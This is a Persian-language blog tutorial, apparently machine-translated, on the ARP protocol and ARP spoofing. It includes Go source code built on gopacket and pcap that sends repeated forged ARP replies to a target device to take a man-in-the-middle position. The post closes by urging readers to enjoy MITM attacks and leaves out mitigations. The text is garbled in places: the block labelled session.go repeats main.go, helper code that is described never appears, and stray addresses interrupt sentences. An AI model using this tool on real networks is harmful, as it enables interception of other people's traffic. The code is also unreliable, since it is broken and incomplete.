پروتکل ARP توسط کامپیوترها بهصورت روزانه یا حتی بهصورت جزئی استفاده میشود. این یک پروتکل بیاهمیت است تا رایانهها از آدرس سختافزاری که آدرس MAC نیز نامیده میشود، که به آدرس IP مرتبط است، آگاه باشند 192.168.13.37
.
این پروتکل، مانند بسیاری دیگر، مستعد حملات جعل است و این چیزی است که در زیر توضیح خواهم داد.
پروتکل Address Resolution Protocol یک پروتکل ارتباطی است که برای کشف آدرس لایه پیوند، مانند یک آدرس سختافزاری، مرتبط با یک آدرس لایه اینترنت معین، معمولاً یک آدرس IPv4 استفاده میشود. این نگاشت یک تابع حیاتی در مجموعه پروتکل اینترنت است.
این تعریف به طور مستقیم به اصل مطلب میرود، اما من میخواهم پروتکل ARP را به روشی گرافیکیتر از متن نشان دهم.
پروتکل ARP پروتکلی است که مطمئن می شود با توجه به آدرس IPv4 ، آدرس سخت افزاری مربوطه دستگاه را دریافت خواهید کرد . این بسیار مهم است زیرا سختافزار اترنت با آدرس های سخت افزاری ارتباط برقرار میکند نه آدرس های IP.
بنابراین فرض کنید چهار جزء داریم:
192.168.13.37
192.168.13.66
من، مشتری و دستگاه A ، میخواهم دادهها را به دستگاه B ارسال کنم ، اگرچه فقط آدرس IPv4 آن را میدانم. بنابراین اکنون که به آدرس سختافزاری آن نیاز دارم، یک بسته درخواست ARP را در شبکه پخش میکنم تا آدرس سختافزاری دستگاه B را دریافت کنم .
دستگاه B تشخیص میدهد که من آدرس سختافزاری آن را بر اساس آدرس IPv4 آن درخواست میکنم، بنابراین یک بسته ARP Reply را با آدرس سختافزاری خود در داخل برای من ارسال میکند.
هنگامیکه آدرس سختافزار دستگاه را داشته باشم، برای استفاده در آینده در جدول ARP شخصی من ذخیره میشود. جدول ARP را میتوان در ترمینال با دستورات زیر مشاهده کرد:
arp -a
وقتی بستهها را فیلتر میکنید، تمام سناریوهای توصیفشده در بالا بهراحتی در Wireshark قابلمشاهده هستند:
دربستههای بالا قطعاً میتوانیم ببینیم که دستگاه هواوی به آدرس سختافزاری سه آدرس IPv4 نیاز دارد.
حال اگر آدرس IPv4 در شبکه وجود داشته باشد، دستگاه موردنظر با یک بسته ARP Reply پاسخ خواهد داد . این را میتوان در Wireshark نیز مشاهده کرد:
در اینجا آدرس سختافزاری دستگاه اپل به دستگاه هواوی ارسال میشود و در جدول ARP آن برای کش ذخیره میشود.
اکنون که دانش زمینی پروتکل ARP شناخته شده است، شاید جالب باشد که در نهایت بفهمیم که ARP Spoofing واقعا چیست.
تعریف حمله جعل عبارت است از:
درزمینهٔ امنیت اطلاعات و بهویژه امنیت شبکه، حمله جعل وضعیتی است که در آن شخص یا برنامهای با جعل دادهها با موفقیت بهعنوان دیگری شناسایی میشود تا مزیتی نامشروع به دست آورد.
بنابراین این قبلاً اطلاعات زیادی ازآنچه ARP Spoofing واقعاً چیست به دست میدهد. با انجام یک حمله ARP Spoofing با جعل دادهها بهعنوان دستگاه دیگری شناسایی میشویم . برخی از افراد ممکن است از قبل بدانند که چگونه این امر ممکن است. مدتی بهتنهایی به آن فکر کنید و سپس به خواندن ادامه دهید.
اگر به بسته ARP Reply فکر کردهاید ، کاملاً درست میگویید! این نسبتاً ساده است. بازگشت به استفاده مشروع از سناریوی پروتکل ARP در بالا. ما بهعنوان مهاجم بهسادگی بستههای ARP Reply را اسپم میکنیم و میگوییم که ما دستگاهی هستیم که دارای IPv4 192.168.13.37، دستگاه با IPv4 192.168.13.66و غیره است. درنهایت میتوانیم هر دستگاهی از شبکه باشیم و دستگاههای دیگر را فریب دهیم تا بستههای آنها را ارسال کنند. بهجای دستگاه مشروع به ما. به این حمله Man-in-the-Middle میگویند.
شایان ذکر است که در طول حمله ARP Spoofing، ممکن است دستگاه حتی بستههای درخواست ARP را ارسال نکند ، مهاجم فقط به ارسال هرزنامه ادامه میدهد.
برخی از پیامدهای اصلی جعل ARP عبارتند از:
13:de:ad:be:ef:37
که منجر به ارسال همه بستهها به یک هدف میشود.قبل از پایان دادن به این موضوع، ممکن است جالب باشد که ببینید چگونه خودتان یک حمله ARP Spoofing را انجام دهید و خودتان را آموزش دهید. البته ما میتوانستیم ابزاری مانند اسکریپت متوسط بچه را دانلود کنیم، اما این بسیار خستهکننده است...
هشدار
توجه داشته باشید که بسته به کاری که ممکن است با ARP Spoofing انجام دهید، ممکن است غیرقانونی باشد - به شما هشدار دادهشده است.
من کلاهبردار کوچک ARP خود را در Go کد نویسی کردهام زیرا عاشق این زبان هستم، اگرچه بهخوبی میتوان آن را به زبانهای دیگر، بهعنوانمثال پایتون با Scapy، کدگذاری کرد .
بیا شروع کنیم!
من Session
ساختاری در یک session.go
فایل برای ذخیره اطلاعات مرتبط ایجاد کرده ام که بعداً مورد استفاده قرار می گیرد:
package main import ( "github.com/google/gopacket/pcap" "net" "strings" "time" ) // Obviously these are not accurate & fictive addresses const ( TargetIP = "192.168.13.37" TargetMAC = "13:de:ad:be:ef:37" Timeout = 5 * time.Second TotalPacketsToSend = 15 ) func main() { // Create a new session s := NewSession() // Get the interface ifaces, err := net.Interfaces() if err != nil { s.logger.Fatal("Failed to retrieve interfaces: " + err.Error()) return } for _, iface := range ifaces { if iface.HardwareAddr == nil { continue } addrs, err := iface.Addrs() if err != nil { s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error()) } for _, addr := range addrs { if strings.Split(addr.String(), "/")[0] == s.ip.String() { // Set the current interface & MAC address s.iface = iface s.mac = iface.HardwareAddr break } } } // Get the device to listen to devices, err := pcap.FindAllDevs() if err != nil { s.logger.Fatal("Failed to retrieve devices: " + err.Error()) return } for _, device := range devices { for _, address := range device.Addresses { if address.IP.To4().String() == s.ip.String() { s.device = device break } } } // Open the device and be prepared to send the spoofed packets handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever) if err != nil { s.logger.Fatal("Failed to open device: " + err.Error()) return } // Prepare the ARP reply packet src := NewAddress(s.ip, s.mac) mac, _ := net.ParseMAC(TargetMAC) dst := NewAddress(net.ParseIP(TargetIP), mac) arpReply, _ := NewARPReplyPacket(src, dst) s.logger.Info("Sending spoofed ARP replies to " + dst.GetIP().String() + " with MAC " + dst.GetMAC().String() + " every " + Timeout.String()) // Send the packets for i := 0; i < TotalPacketsToSend; i++ { err = handler.WritePacketData(arpReply) if err != nil { s.logger.Error("Failed to send packet: " + err.Error()) } time.Sleep(Timeout) } }
این getOutboundIP
تابع آدرس IP در حال استفاده را حل می کند، در صورت تمایل می توانید آن را سخت کد کنید.
برای ایجاد بستههای ARP Reply سفارشی، ابتدا باید یک لایه اترنت ایجاد کنیم که حاوی آدرسهای سختافزار مبدا و مقصد باشد. لایه دومی که به آن نیاز داریم بدیهی است لایه ARP است، در اینجا هم آدرس IPv4 مبدا و مقصد و هم آدرس سخت افزار مقصد را ارائه می دهیم. سپس باید لایه ها را سریال کنیم تا مطمئن شویم که درست هستند، اگر درست هستند، می توانیم بافر را برگردانیم، همه اینها در فایل انجام شده است arp.go
:
package main import ( "github.com/google/gopacket" "github.com/google/gopacket/layers" "net" ) type Address struct { ip net.IP mac net.HardwareAddr } func NewAddress(ip net.IP, mac net.HardwareAddr) *Address { return &Address{ ip: ip, mac: mac, } } func (a *Address) GetIP() net.IP { return a.ip } func (a *Address) GetMAC() net.HardwareAddr { return a.mac } var Options = gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) { ethLayer := layers.Ethernet{ SrcMAC: src.mac, DstMAC: dst.mac, EthernetType: layers.EthernetTypeARP, } arpLayer := layers.ARP{ AddrType: layers.LinkTypeEthernet, Protocol: layers.EthernetTypeIPv4, HwAddressSize: 6, ProtAddressSize: 4, Operation: layers.ARPReply, SourceHwAddress: src.mac, SourceProtAddress: src.ip.To4(), DstHwAddress: dst.mac, DstProtAddress: dst.ip.To4(), } buffer := gopacket.NewSerializeBuffer() if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &arpLayer); err != nil { return nil, err } return buffer.Bytes(), nil }
اطلاعات
منبع اینجا ما، مهاجم، با IPv4 معمولی و آدرس سختافزاری خود هستیم . و مقصد دستگاهی است که ما میخواهیم باشیم ، بنابراین دستگاه هدف ما با نام قربانی .
مرحله آخر فقط در مورد ارسال بستههای دستکاریشده در یک حلقه است. اما ابتدا باید رابط کاربری را که میخواهیم اینها را روی آن ارسال کنیم و همچنین دستگاه را بشناسیم. من چند کد کوچک اضافه کردهام تا ابتدا با مقایسه IP خروجی با IP هر رابط روی دستگاه، رابط را پیدا کنم، پسازاینکه با رابط موردنیاز ما مطابقت داشت.
دانستن نام دستگاهی که بستهها را از طریق آن ارسال میکنید همان بازی است، روی همه دستگاهها حلقه میزنیم، روی تمام آدرسهای آن حلقه میزنیم IPv4 را بررسی کنید. سپس دستگاه را باز میکنیم و سعی میکنیم بستههای جعلی را ارسال کنیم، همه اینها در فایل انجامشده است main.go:
package main import ( "github.com/google/gopacket/pcap" "net" "strings" "time" ) // Obviously these are not accurate & fictive addresses const ( TargetIP = "192.168.13.37" TargetMAC = "13:de:ad:be:ef:37" Timeout = 5 * time.Second TotalPacketsToSend = 15 ) func main() { // Create a new session s := NewSession() // Get the interface ifaces, err := net.Interfaces() if err != nil { s.logger.Fatal("Failed to retrieve interfaces: " + err.Error()) return } for _, iface := range ifaces { if iface.HardwareAddr == nil { continue } addrs, err := iface.Addrs() if err != nil { s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error()) } for _, addr := range addrs { if strings.Split(addr.String(), "/")[0] == s.ip.String() { // Set the current interface & MAC address s.iface = iface s.mac = iface.HardwareAddr break } } } // Get the device to listen to devices, err := pcap.FindAllDevs() if err != nil { s.logger.Fatal("Failed to retrieve devices: " + err.Error()) return } for _, device := range devices { for _, address := range device.Addresses { if address.IP.To4().String() == s.ip.String() { s.device = device break } } } // Open the device and be prepared to send the spoofed packets handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever) if err != nil { s.logger.Fatal("Failed to open device: " + err.Error()) return } // Prepare the ARP reply packet src := NewAddress(s.ip, s.mac) mac, _ := net.ParseMAC(TargetMAC) dst := NewAddress(net.ParseIP(TargetIP), mac) arpReply, _ := NewARPReplyPacket(src, dst) s.logger.Info("Sending spoofed ARP replies to " + dst.GetIP().String() + " with MAC " + dst.GetMAC().String() + " every " + Timeout.String()) // Send the packets for i := 0; i < TotalPacketsToSend; i++ { err = handler.WritePacketData(arpReply) if err != nil { s.logger.Error("Failed to send packet: " + err.Error()) } time.Sleep(Timeout) } }
جعل ARP بسته به سناریو میتواند منجر به عواقب جدی شود، اگرچه پروتکل ARP استفاده قانونی نیز دارد، بنابراین نمیتوانید کل پروتکل ARP را مسدود کنید. برخی از اقدامات کاهشی در برابر حملات ARP Spoofing وجود دارد که من بهطور خلاصه آنها را نمیدانم، اما بهراحتی میتوان آنها را هنگام جستجو در گوگل بهتنهایی پیدا کرد. درعینحال، از انجام برخی از حملات MITM لذت ببرید.